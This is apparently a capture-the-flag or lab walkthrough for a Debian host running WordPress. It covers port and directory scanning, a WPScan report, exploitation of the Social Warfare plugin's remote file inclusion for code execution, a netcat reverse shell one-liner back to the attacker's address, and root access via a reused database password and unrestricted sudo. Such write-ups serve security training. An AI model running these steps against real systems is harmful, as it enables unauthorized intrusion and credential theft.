Enumeration
Machine IP → 192.168.80.123
Network Scan
Nmap scan → nmap -A -Pn -p- -T4 -o nmap.txt 192.168.80.123
OS Detection → OS: Linux; CPE: cpe:/o:linux:linux_kernel
| Port | Service | Other details (if any) |
|---|---|---|
| 22 | SSH | OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 80 | HTTP | Apache httpd 2.4.38 ((Debian)) |
Web Scan
GoBuster scan → gobuster dir -u http://192.168.80.123 -w /home/tanq/installations/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x html,php
Directories/files listed →
- index.html
- wordpress/
Running gobuster again for the wordpress directory gives additional results →
- index.php
- wp-content/
- wp-login.php
- wp-includes/
- readme.html
- license.txt
- wp-trackback.php
- wp-admin/
- xmlrpc.php
- wp-signup.php
The folders indicates that an instance of wordpress is running on the web server. Running wpscan on the webserver using the docker image by docker run -it --rm wpscanteam/wpscan --url http://192.168.80.123/wordpress/ gives the following info →
- Directory listing enabled at
/wordpress/wp-content/uploads/ - WP-Cron enabled at
/wordpress/wp-cron.php - Wordpress version 5.5 using generator tag at
/wordpress/index.php/feed/ - Wordpress theme version 1.5 (latest is 1.8)
- User
adminidentified at/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1 - Outdated plugin Social Warfare 3.5.2 (latest is 4.3) identified at
/wordpress/wp-content/plugins/social-warfare/readme.txt
Exploitation
RFI and RCE
Using searchsploit to search for social warfare gives the result as an RCE for versions < 3.5.3. Looking at the exploit, it needs a payload url to know the payload (an RFI). This will be included in /wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=<RFI_URL>.
Reverse shell
Visiting this page would give the result of the command in the payload url. The payload must be of the form →
<pre>system('whoami')</pre>. Checking the existence of netcat and bash, a new payload can be used for a reverse shell → nc -e /bin/bash 192.168.49.80 3002. This grants the user flag.
Privilege Escalation
User
The users discovered from the reverse shell as www-data are root and takis. Looking through the config of wordpress in wp-config.php, a DB_password is found. This could be used for the takis user on ssh. This works and a user shell is obtained.
Root
The takis user is able to run sudo without a password for all commands. Therefore sudo su grants the root shell as well as the root flag.